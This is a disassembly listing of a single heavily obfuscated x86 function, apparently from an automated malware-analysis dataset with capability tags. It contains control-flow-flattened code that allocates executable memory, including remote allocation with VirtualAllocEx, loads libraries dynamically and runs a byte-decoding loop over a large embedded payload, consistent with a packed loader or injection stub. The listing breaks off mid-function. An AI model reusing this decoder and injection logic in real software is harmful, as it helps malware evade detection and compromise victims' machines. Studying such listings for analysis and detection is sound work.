Function at 0x401b80
Capabilities:
Access peb ldr_data
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1e0
mov eax, dword [0x5f12c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x5f3410]
mov ecx, dword [0x5f340c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov eax, 0x90f0cee
sete byte [ebp - 0x75]
cmp ecx, 0xa
setl byte [ebp - 0x76]
jmp 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x629fad0f
mov ebx, 0xed07b2dc
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xed07b2dc
sete al
cmove ecx, edi
cmp dword [0x5f340c], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
mov eax, ecx
nop dword [eax]
cmp eax, 0xd5ba81d
jle 0x401c70
cmp eax, 0x44a28fe3
jg 0x401ce0
cmp eax, 0x2ceed23d
jg 0x401dd9
cmp eax, 0x1d0bb5e9
jle 0x401fd4
cmp eax, 0x23bf77f0
jle 0x402373
cmp eax, 0x26343f68
jg 0x402a6f
cmp eax, 0x24ab5c61
jle 0x40349a
cmp eax, 0x24ab5c62
je 0x404275
cmp eax, 0x24b07ffd
je 0x404295
cmp eax, 0x253f7190
jne 0x401c00
mov eax, 0x2dd3e397
jmp 0x401c00
cmp eax, 0xc5c446da
jg 0x401d50
cmp eax, 0xa411fb63
jg 0x401e59
cmp eax, 0x94a5c25b
jg 0x402091
cmp eax, 0x898d30b0
jg 0x4024f8
cmp eax, 0x86c82763
jg 0x402aa5
cmp eax, 0x84301c7e
jle 0x4034d9
cmp eax, 0x84301c7f
je 0x40429f
cmp eax, 0x865dff5e
je 0x4042fc
cmp eax, 0x86882c4e
jne 0x401c00
mov eax, 0x73aae139
jmp 0x401c00
cmp eax, 0x6727281d
jg 0x401ed7
cmp eax, 0x55c09281
jg 0x402105
cmp eax, 0x4e2a1c92
jg 0x402545
cmp eax, 0x47b3cbf0
jg 0x402af7
cmp eax, 0x46a9f0e7
jle 0x403516
cmp eax, 0x46a9f0e8
je 0x404324
cmp eax, 0x4710d858
je 0x40432e
cmp eax, 0x472f995d
jne 0x401c00
cmp byte [ebp - 0x7c], 0
mov eax, 0xc34e07fe
mov ecx, 0x1260066a
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0xe8463394
jg 0x401f3d
cmp eax, 0xd8ed0bee
jg 0x40216d
cmp eax, 0xcc661408
jg 0x402594
cmp eax, 0xc979148a
jg 0x402b4a
cmp eax, 0xc7a7119b
jle 0x403536
cmp eax, 0xc7a7119c
je 0x404338
cmp eax, 0xc8f459ee
je 0x40434b
cmp eax, 0xc95d7274
jne 0x401c00
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, 0x42a10ee3
jmp 0x401c00
cmp eax, 0x366a38cc
jg 0x4021e5
cmp eax, 0x316c77e9
jg 0x4025d5
cmp eax, 0x2f16aaff
jg 0x402ba5
cmp eax, 0x2d33acb2
jle 0x403571
cmp eax, 0x2d33acb3
je 0x404355
cmp eax, 0x2dd3e397
je 0x40435f
cmp eax, 0x2df27042
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xd07dfef4
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x539074ce
jmp 0x405a44
cmp eax, 0xb5f3c3c9
jg 0x402231
cmp eax, 0xaa0ad56f
jg 0x402649
cmp eax, 0xa79304bf
jg 0x402c16
cmp eax, 0xa4f31f4e
jle 0x403597
cmp eax, 0xa4f31f4f
je 0x404383
cmp eax, 0xa644ea2f
je 0x40438d
cmp eax, 0xa651730e
jne 0x401c00
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x108]
mov ebx, 0xb5f3c3ca
mov edi, 0x5384b072
mov dword [eax], ecx
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5384b072
jmp 0x405c5f
cmp eax, 0x7685dd65
jg 0x402289
cmp eax, 0x6c30ab82
jg 0x402693
cmp eax, 0x68f51659
jg 0x402c57
cmp eax, 0x67dd9281
jle 0x4035db
cmp eax, 0x67dd9282
je 0x4043a2
cmp eax, 0x681342fb
je 0x4043d6
cmp eax, 0x688db9a3
jne 0x401c00
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x13c], eax
mov eax, 0xd963ffa
jmp 0x401c00
cmp eax, 0xfa69265a
jg 0x402303
cmp eax, 0xf499d56d
jg 0x4026d4
cmp eax, 0xef52c0e6
jg 0x402caa
cmp eax, 0xeb82c92b
jle 0x4035fb
cmp eax, 0xeb82c92c
je 0x4043e6
cmp eax, 0xed07b2dc
je 0x4043f0
cmp eax, 0xee580024
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x58b01a39
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xeb82c92c
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
jmp 0x405ab7
cmp eax, 0x11ebc332
jg 0x402715
cmp eax, 0xfe827a0
jg 0x402ce0
cmp eax, 0xdfecbf2
jle 0x40361e
cmp eax, 0xdfecbf3
je 0x4043fa
cmp eax, 0xe5074b5
je 0x40440f
cmp eax, 0xe5a0d36
jne 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xef52c0e7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc6f58d1e
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x100]
cmovge eax, edx
mov ecx, dword [ecx + 0xc]
add ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x154], ecx
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov dword [ebp - 0x158], ecx
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov dword [ebp - 0x15c], ecx
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
mov dword [ebp - 0x160], ecx
jmp 0x401c00
cmp eax, 0x9d4b8d54
jg 0x4027ae
cmp eax, 0x967b3f62
jg 0x402d22
cmp eax, 0x95177bd5
jle 0x403650
cmp eax, 0x95177bd6
je 0x404422
cmp eax, 0x954b075f
je 0x40444e
cmp eax, 0x95f098d3
jne 0x401c00
mov eax, dword [ebp - 0xa0]
mov edi, 0x7de7036d
mov ebx, 0xda3c7dda
mov dword [eax], 1
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xda3c7dda
jmp 0x40547a
cmp eax, 0x5ec57761
jg 0x402835
cmp eax, 0x58b01a38
jg 0x402d80
cmp eax, 0x578ac120
jle 0x403670
cmp eax, 0x578ac121
je 0x4044f2
cmp eax, 0x57cf7f17
je 0x4044fc
cmp eax, 0x589dc1e4
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x1f20da2b
mov edi, 0x72a2cea2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x72a2cea2
jmp 0x405c5f
cmp eax, 0xe0280af4
jg 0x40287f
cmp eax, 0xdc35445a
jg 0x402db6
cmp eax, 0xda39edd6
jle 0x4036b9
cmp eax, 0xda39edd7
je 0x404506
cmp eax, 0xda3c7dda
je 0x404510
cmp eax, 0xdb7d084c
jne 0x401c00
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xcc]
mov eax, 0xa411fb64
jmp 0x401c00
cmp eax, 0x3b5f1de6
jg 0x4028d1
cmp eax, 0x386c776e
jg 0x402dfb
cmp eax, 0x3706443e
jle 0x4036e5
cmp eax, 0x3706443f
je 0x404526
cmp eax, 0x379a2f19
je 0x404558
cmp eax, 0x37c6291e
jne 0x401c00
mov eax, 0x83f7cc7d
jmp 0x401c00
cmp eax, 0xbfb8ce86
jg 0x40292e
cmp eax, 0xb88f1601
jg 0x402e4d
cmp eax, 0xb7148705
jle 0x40372f
cmp eax, 0xb7148706
je 0x404562
cmp eax, 0xb754eccf
je 0x404585
cmp eax, 0xb7e164c7
jne 0x401c00
cmp byte [ebp - 0x80], 0
mov eax, 0x5d46889d
mov ecx, 0x5713c1d
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0x7a1c0c0d
jg 0x4029c5
cmp eax, 0x77efb1bb
jg 0x402e92
cmp eax, 0x778993ee
jle 0x403758
cmp eax, 0x778993ef
je 0x40459a
cmp eax, 0x77c7ba36
je 0x4045a7
cmp eax, 0x77e7b0cc
jne 0x401c00
mov eax, dword [ebp - 0x148]
push 0x40
push 0x3000
push dword [ebp - 0x144]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xdc]
mov eax, 0x2ceed23e
jmp 0x401c00
cmp eax, 0x3baea74
jg 0x402a06
cmp eax, 0xffa99ec0
jg 0x402ed1
cmp eax, 0xfcfeccd3
jle 0x4037a1
cmp eax, 0xfcfeccd4
je 0x4045b1
cmp eax, 0xfead6165
je 0x4045bb
cmp eax, 0xff90ce5d
jne 0x401c00
push 4
push 0x3000
push dword [ebp - 0xec]
push dword [ebp - 0x130]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, 0xa79304c0
jmp 0x401c00
cmp eax, 0x1f20da2a
jg 0x402f07
cmp eax, 0x1e47f687
jle 0x4037ea
cmp eax, 0x1e47f688
je 0x4045c5
cmp eax, 0x1e8fd24d
je 0x4045d8
cmp eax, 0x1f14f2bf
jne 0x401c00
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa4]
push 0x18c400
push 0x45a28e
push dword [ebp - 0xa4]
vzeroupper
call fcn.0043df50
add esp, 0xc
mov edx, dword [ebp - 0xa4]
mov eax, 0xa6cf8869
mov dword [ebp - 0x14], 0x18c400
nop dword [eax + eax]
cmp eax, 0x37e08f2d
je 0x40460b
cmp eax, 0xa6cf8869
jne 0x4024c0
mov dword [ebp - 0x18], edx
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x4024df
mov eax, 0x37e08f2d
jmp 0x4024c0
cmp eax, 0x8c8dc0cc
jg 0x402f3d
cmp eax, 0x8a43bf9d
jle 0x40381b
cmp eax, 0x8a43bf9e
je 0x40464c
cmp eax, 0x8be3d467
je 0x40467e
cmp eax, 0x8be5e181
jne 0x401c00
cmp byte [ebp - 0x78], 0
mov eax, 0x2ceed23e
mov ecx, 0xc3a3c68d
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0x52905334
jg 0x402f8f
cmp eax, 0x4f86f9ac
jle 0x40383b
cmp eax, 0x4f86f9ad
je 0x4046ac
cmp eax, 0x502ab35c
je 0x4046b9
cmp eax, 0x51dc8c7b
jne 0x401c00
mov eax, dword [ebp - 0x54]
mov ecx, 0x77a458a
cmp dword [eax], 0
mov eax, 0x891939f5
cmove eax, ecx
jmp 0x401c00
cmp eax, 0xd112f16e
jg 0x402fc5
cmp eax, 0xcf5dd04e
jle 0x40385b
cmp eax, 0xcf5dd04f
je 0x4046e0
cmp eax, 0xd079e16d
je 0x404706
cmp eax, 0xd07dfef4
jne 0x401c00
mov eax, 0x2df27042
jmp 0x401c00
cmp eax, 0x342a0c76
jg 0x403002
cmp eax, 0x32b0531d
jle 0x40388d
cmp eax, 0x32b0531e
je 0x40471f
cmp eax, 0x33973541
je 0x404739
cmp eax, 0x33d90750
jne 0x401c00
mov eax, dword [ebp - 0x24]
mov ebx, 0x24b07ffd
mov edi, 0xb88f1602
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, dword [0x5f3410]
setne byte [ebp - 0x81]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xb88f1602
jmp 0x405c5f
cmp eax, 0xaee4e859
jg 0x40307e
cmp eax, 0xac1f8d0a
jle 0x4038ee
cmp eax, 0xac1f8d0b
je 0x404753
cmp eax, 0xad87e78f
je 0x40478c
cmp eax, 0xae927c96
jne 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, 0x865dff5e
jmp 0x401c00
cmp eax, 0x7391cb13
jg 0x4030b7
cmp eax, 0x70e265f1
jle 0x40390e
cmp eax, 0x70e265f2
je 0x4047ae
cmp eax, 0x714127f8
je 0x4047f7
cmp eax, 0x72a2cea2
jne 0x401c00
mov eax, 0x589dc1e4
jmp 0x401c00
cmp eax, 0xf832e758
jg 0x4030f6
cmp eax, 0xf5495892
jle 0x40392e
cmp eax, 0xf5495893
je 0x404813
cmp eax, 0xf58dc0e6
je 0x40481d
cmp eax, 0xf6b3f4a8
jne 0x401c00
mov eax, 0xa2d47ee0
jmp 0x401c00
cmp eax, 0x14716d3c
jg 0x40317c
cmp eax, 0x134821a4
jle 0x40397b
cmp eax, 0x134821a5
je 0x40490a
cmp eax, 0x137f815b
je 0x404929
cmp eax, 0x13bc239b
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0xffa99ec1
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x63c94e5a
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x90]
cmovge ecx, edx
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, ecx
jmp 0x401c00
cmp eax, 0xa0b825de
jg 0x4031cf
cmp eax, 0x9e8b9b46
jle 0x4039c5
cmp eax, 0x9e8b9b47
je 0x40495d
cmp eax, 0x9ea1ccdf
je 0x404982
cmp eax, 0x9f0f6f62
jne 0x401c00
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x114]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
add eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x88]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, 0xc28278d9
jmp 0x401c00
cmp eax, 0x6266282e
jg 0x40322b
cmp eax, 0x5f2e143a
jle 0x403a11
cmp eax, 0x5f2e143b
je 0x4049e6
cmp eax, 0x61063843
je 0x404a0e
cmp eax, 0x6140daa4
jne 0x401c00
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x20
mov eax, 0x8e29b95f
jmp 0x401c00
cmp eax, 0xe4505e9b
jg 0x40328a
cmp eax, 0xe3b6f54e
jle 0x403a76
cmp eax, 0xe3b6f54f
je 0x404a41
cmp eax, 0xe4082f55
je 0x404a4b
cmp eax, 0xe4198ecb
jne 0x401c00
mov eax, dword [ebp - 0x1bc]
mov ecx, 0x38f7be5a
cmp eax, 0xc
mov eax, 0x96a555b8
cmove eax, ecx
jmp 0x401c00
cmp eax, 0x3ddf5323
jg 0x40330f
cmp eax, 0x3cbb57d6
jle 0x403aa3
cmp eax, 0x3cbb57d7
je 0x404a71
cmp eax, 0x3d224e00
je 0x404a87
cmp eax, 0x3d742c49
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x77efb1bc
mov ebx, 0x5a93089c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5a93089c
jmp 0x401be2
cmp eax, 0xc34e07fd
jg 0x4033a1
cmp eax, 0xc0ed0638
jle 0x403aeb
cmp eax, 0xc0ed0639
je 0x404a91
cmp eax, 0xc2458bb4
je 0x404aa7
cmp eax, 0xc28278d9
jne 0x401c00
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x114]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x88]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x54]
mov edi, 0x3d224e00
mov ebx, 0x9f0f6f62
mov dword [ecx], eax
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x9f0f6f62
jmp 0x401be2
cmp eax, 0x7d0ce48d
jg 0x4033e0
cmp eax, 0x7c262301
jle 0x403b17
cmp eax, 0x7c262302
je 0x404ad6
cmp eax, 0x7c491ff1
je 0x404af4
cmp eax, 0x7d056e98
jne 0x401c00
mov eax, 0x7c262302
jmp 0x401c00
cmp eax, 0x90f0ced
jg 0x403464
cmp eax, 0x5713c1c
jle 0x403b3a
cmp eax, 0x5713c1d
je 0x404b17
cmp eax, 0x675a6a8
je 0x404b4a
cmp eax, 0x77a458a
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0xb69d33ed
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4e2a1c93
jmp 0x405aaa
cmp eax, 0x2b217fd6
jle 0x403b83
cmp eax, 0x2b217fd7
je 0x404b7d
cmp eax, 0x2baf9bd6
je 0x404bff
cmp eax, 0x2cddfe63
jne 0x401c00
mov eax, 0x1f14f2bf
jmp 0x401c00
cmp eax, 0x86f147f7
jle 0x403baf
cmp eax, 0x86f147f8
je 0x404c50
cmp eax, 0x8789fb10
je 0x404c76
cmp eax, 0x891939f5
jne 0x401c00
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0x240d6209
jmp 0x401c00
cmp eax, 0x4872ba3e
jle 0x403bcf
cmp eax, 0x4872ba3f
je 0x404c8c
cmp eax, 0x48eb9e8b
je 0x404ce0
cmp eax, 0x4ab78ad8
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x342a0c77
mov edi, 0x2d1e7a66
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2d1e7a66
jmp 0x405c5f
cmp eax, 0xcb77500a
jle 0x403bf2
cmp eax, 0xcb77500b
je 0x404cf8
cmp eax, 0xcbd05f61
je 0x404d0d
cmp eax, 0xcbff083c
jne 0x401c00
mov eax, dword [ebp - 0x28]
mov edi, 0x89c38238
mov ebx, 0x366a38cd
mov dword [eax], 0xd
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x366a38cd
jmp 0x401be2
cmp eax, 0x2f841185
jle 0x403c40
cmp eax, 0x2f841186
je 0x404d34
cmp eax, 0x2fa3094a
je 0x404d56
cmp eax, 0x3168be5e
jne 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x3b5f1de7
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x86f147f8
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0xc8]
jmp 0x405ab7
cmp eax, 0xa902d3c5
jle 0x403c7d
cmp eax, 0xa902d3c6
je 0x404d63
cmp eax, 0xa9481a2a
je 0x404d7d
cmp eax, 0xa9da4c47
jne 0x401c00
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ecx], eax
mov eax, 0x14716d3d
jmp 0x401c00
cmp eax, 0x6a4dcb31
jle 0x403c9d
cmp eax, 0x6a4dcb32
je 0x404d8d
cmp eax, 0x6b7ba08b
je 0x404da2
cmp eax, 0x6ba15cf8
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x67737514
mov edi, 0x57cf7f17
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x57cf7f17
jmp 0x405c5f
cmp eax, 0xf0434d39
jle 0x403cf9
cmp eax, 0xf0434d3a
je 0x404dac
cmp eax, 0xf3587eb0
je 0x404dde
cmp eax, 0xf4175b5a
jne 0x401c00
mov eax, 0xb754eccf
jmp 0x401c00
cmp eax, 0x10db5572
jle 0x403d64
cmp eax, 0x10db5573
je 0x404df1
cmp eax, 0x11089654
je 0x404dfd
cmp eax, 0x119b9fa3
jne 0x401c00
cmp byte [ebp - 0x7d], 0
mov eax, 0xa1b3e3c7
mov ecx, 0x67dd9282
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0x96c082fe
jle 0x403db2
cmp eax, 0x96c082ff
je 0x404e16
cmp eax, 0x979f6ed8
je 0x404e3e
cmp eax, 0x989be0b7
jne 0x401c00
mov eax, dword [ebp - 0x34]
mov edi, 0x186317c6
mov ebx, 0x4f86f9ad
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x164], eax
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4f86f9ad
jmp 0x40547a
cmp eax, 0x5b69a54e
jle 0x403dd2
cmp eax, 0x5b69a54f
je 0x404e56
cmp eax, 0x5d46889d
je 0x404e7d
cmp eax, 0x5ead9772
jne 0x401c00
mov eax, 0xcbd05f61
jmp 0x401c00
cmp eax, 0xde491f8b
jle 0x403e09
cmp eax, 0xde491f8c
je 0x404e9c
cmp eax, 0xdfd69061
je 0x404ecf
cmp eax, 0xdfe71f7e
jne 0x401c00
cmp byte [ebp - 0x81], 0
mov eax, 0x898d30b1
mov ecx, 0x3706443f
cmovne eax, ecx
jmp 0x401c00
cmp eax, 0x39150087
jle 0x403e87
cmp eax, 0x39150088
je 0x404ef6
cmp eax, 0x39196949
je 0x404f63
cmp eax, 0x394195cc
jne 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0x2baf9bd6
mov edi, 0x6c30ab83
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6c30ab83
jmp 0x405c5f
cmp eax, 0xbd97f9da
jle 0x403ec3
cmp eax, 0xbd97f9db
je 0x404f87
cmp eax, 0xbdfcd17d
je 0x404fae
cmp eax, 0xbe21cd50
jne 0x401c00
cmp dword [ebp - 0x1c8], 0
mov eax, 0x5b69a54f
mov ecx, 0x5d46889d
cmove eax, ecx
jmp 0x401c00
cmp eax, 0x796096d0
jle 0x403f0a
cmp eax, 0x796096d1
je 0x404fd5
cmp eax, 0x79cd11dc
je 0x404feb
cmp eax, 0x79eed5f9
jne 0x401c00
mov eax, dword [ebp - 0x44]
mov dword [eax], 4
mov eax, 0xb453f7a4
jmp 0x401c00
cmp eax, 0x321c6eb
jle 0x403f2a
cmp eax, 0x321c6ec
je 0x40501e
cmp eax, 0x35b512e
je 0x405036
cmp eax, 0x372d174
jne 0x401c00
mov eax, 0xd0dfa9b
jmp 0x401c00
cmp eax, 0x20611e1f
jle 0x403f4a
cmp eax, 0x20611e20
je 0x405040
cmp eax, 0x237d4340
je 0x40504a
cmp eax, 0x23ad2e03
jne 0x401c00
mov eax, 0x7c491ff1
jmp 0x401c00
cmp eax, 0x91319bcf
jle 0x403f79
cmp eax, 0x91319bd0
je 0x405057
cmp eax, 0x930e5c29
je 0x4050b4
cmp eax, 0x9315c69f
jne 0x401c00
mov eax, dword [0x5f3410]
mov edi, 0x77fa7b76
mov ebx, 0x6fe3c969
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6fe3c969
jmp 0x40547a
cmp eax, 0x539074cd
jle 0x403f99
cmp eax, 0x539074ce
je 0x4050e8
cmp eax, 0x5583fc9a
je 0x4050f2
cmp eax, 0x55a415e4
jne 0x401c00
mov eax, 0x61063843
jmp 0x401c00
cmp eax, 0xd1ee1f91
jle 0x403fc4
cmp eax, 0xd1ee1f92
je 0x4050fc
cmp eax, 0xd3a0b376
je 0x405123
cmp eax, 0xd62602e4
jne 0x401c00
cmp dword [ebp - 0x1d0], 0
mov eax, 0x79eed5f9
jmp 0x404e09
cmp eax, 0x34db2379
jle 0x403ff8
cmp eax, 0x34db237a
je 0x405162
cmp eax, 0x35f04350
je 0x40517a
cmp eax, 0x362ea8f7
jne 0x401c00
mov eax, dword [ebp - 0x2c]
mov ebx, 0xc0c63427
mov edi, 0xe7c47a77
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x5f3410]
setne byte [ebp - 0x7f]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe7c47a77
jmp 0x405c5f
cmp eax, 0xb453f7a3
jle 0x40401b
cmp eax, 0xb453f7a4
je 0x405184
cmp eax, 0xb46715fe
je 0x4051aa
cmp eax, 0xb5baf629
jne 0x401c00
mov eax, dword [ebp - 0x3c]
mov eax, 0xe0280af5
jmp 0x401c00
cmp eax, 0x748b604e
jle 0x40403e
cmp eax, 0x748b604f
je 0x4051b4
cmp eax, 0x75981cb3
je 0x4051d3
